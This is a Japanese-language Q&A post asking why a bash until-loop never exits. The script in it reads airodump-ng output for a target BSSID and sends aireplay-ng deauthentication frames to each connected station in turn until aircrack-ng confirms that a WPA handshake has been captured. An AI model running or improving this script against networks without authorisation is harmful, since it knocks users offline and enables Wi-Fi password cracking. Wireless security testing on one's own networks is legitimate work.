bash - 条件が何かを返す場合、ループが true になるまで bash

Question

実際にデータが返されたときにスクリプトを強制終了するループまでこれを取得する方法を見つけようとしています。-z、-n などを試しましたが、うまくいきませんでした。このスクリプトは、特定の BSSID (csv 形式) の任意の airodump-ng 出力を取得し、$SUCCESS が 4way ハンドシェイクがキャプチャされたことを返すまで、5 分間で各ステーションを反復し、それらを無限に認証解除するように設計されています。

どんな助けでも大歓迎です！

#!/bin/bash
#Need to get the BSSID Name
echo "BSSID Name? (Case Sensitive): "
read BSSIDNAME

BSSID=$(cat "$1" | awk -F',' 'NR>2{print $1}' | sed -e '/Station MAC/d' -e '/BSSID/d' -e '/\n/d' | sed -n 1p)

until [ "$SUCCESS" -n ]; do
  for STATION in $(cat "$1" | awk -F',' 'NR>5{print $1}' | sed -e '/Station MAC/d' -e '/BSSID/d' | sed -e '/^.$/d' ); do
          aireplay-ng --deauth 5 -a $BSSID -c $STATION wlan1mon;
          sleep 5s;
  done
SUCCESS=$(aircrack-ng "${BSSIDNAME}-01.cap" -w fakewordlist | grep "WPA (. handshake)")
done

これがデバッグ出力です。ハンドシェイクを受信したにもかかわらず、ループしていることがわかります。
